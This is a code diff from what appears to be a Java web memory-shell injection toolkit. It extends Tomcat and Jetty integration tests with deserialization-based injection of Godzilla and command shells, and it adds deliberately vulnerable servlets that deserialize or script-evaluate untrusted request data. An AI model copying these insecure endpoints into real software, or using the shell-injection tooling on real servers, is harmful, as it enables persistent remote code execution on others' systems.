arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -49,4 +60,10 @@ public class Jetty93ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -6,6 +6,7 @@ import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -18,7 +19,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -34,12 +39,16 @@ public class Jetty94ContainerTest {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -55,4 +64,10 @@ public class Jetty94ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -34,11 +39,17 @@ public class Tomcat10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -53,4 +64,10 @@ public class Tomcat10ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,9 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -54,4 +57,11 @@ public class Tomcat11ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,9 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -35,10 +38,15 @@ public class Tomcat5ContainerTest {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -55,8 +63,9 @@ public class Tomcat5ContainerTest {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
}
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -35,10 +40,15 @@ public class Tomcat6ContainerTest {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -55,8 +65,9 @@ public class Tomcat6ContainerTest {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
}
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -34,11 +39,17 @@ public class Tomcat7ContainerTest{
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -53,4 +64,10 @@ public class Tomcat7ContainerTest{
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -19,7 +20,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -35,16 +40,22 @@ public class Tomcat8ContainerTest {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -59,4 +70,10 @@ public class Tomcat8ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -5,7 +5,9 @@ import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -18,13 +20,18 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
@Testcontainers
public class Tomcat9ContainerTest{
public static final String imageName = "tomcat:9-jre9";
@@ -32,11 +39,17 @@ public class Tomcat9ContainerTest{
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -51,4 +64,10 @@ public class Tomcat9ContainerTest{
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
+3 -1
View File
@@ -4,4 +4,6 @@ include 'generator'
include 'vul-webapp'
include 'vul-webapp-jakarta'
include 'integration-test'
include 'boot'
include 'boot'
include 'deserialize'
+1
View File
@@ -15,5 +15,6 @@ java {
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.5'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0'
}
@@ -0,0 +1,41 @@
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaReadObjServlet extends HttpServlet {
byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String data = req.getParameter("data");
ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data));
ObjectInputStream bis = new ObjectInputStream(inputStream);
bis.readObject();
bis.close();
} catch (Exception e) {
if (e.getMessage().contains("IllegalAccessException")) {
e.printStackTrace();
}
}
}
}
@@ -29,6 +29,17 @@
<url-pattern>/upload</url-pattern>
</servlet-mapping>
<!-- 用于测试 Java 反序列化 -->
<servlet>
<servlet-name>java-deserialize</servlet-name>
<servlet-class>JavaReadObjServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>java-deserialize</servlet-name>
<url-pattern>/java_deserialize</url-pattern>
</servlet-mapping>
<!-- 用于调试 filter 内存马 -->
<!-- <filter>-->
+1
View File
@@ -15,5 +15,6 @@ java {
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.3.3'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
providedCompile "javax.servlet:servlet-api:2.5"
}
@@ -0,0 +1,38 @@
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaReadObjServlet extends HttpServlet {
byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String data = req.getParameter("data");
ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data));
ObjectInputStream bis = new ObjectInputStream(inputStream);
bis.readObject();
bis.close();
} catch (Exception ignored) {
}
}
}
@@ -13,9 +13,9 @@ import java.io.IOException;
public class ScriptEngineServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String js = req.getParameter("js");
String data = req.getParameter("data");
try {
Object eval = new ScriptEngineManager().getEngineByName("js").eval(js);
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
resp.getWriter().println(eval.toString());
} catch (ScriptException e) {
throw new RuntimeException(e);
@@ -35,6 +35,15 @@
<url-pattern>/js</url-pattern>
</servlet-mapping>
<!-- 用于测试 Java 反序列化 -->
<servlet>
<servlet-name>java-deserialize</servlet-name>
<servlet-class>JavaReadObjServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>java-deserialize</servlet-name>
<url-pattern>/java_deserialize</url-pattern>
</servlet-mapping>
<!-- 测试 listener 内存马 -->
<!-- <listener>-->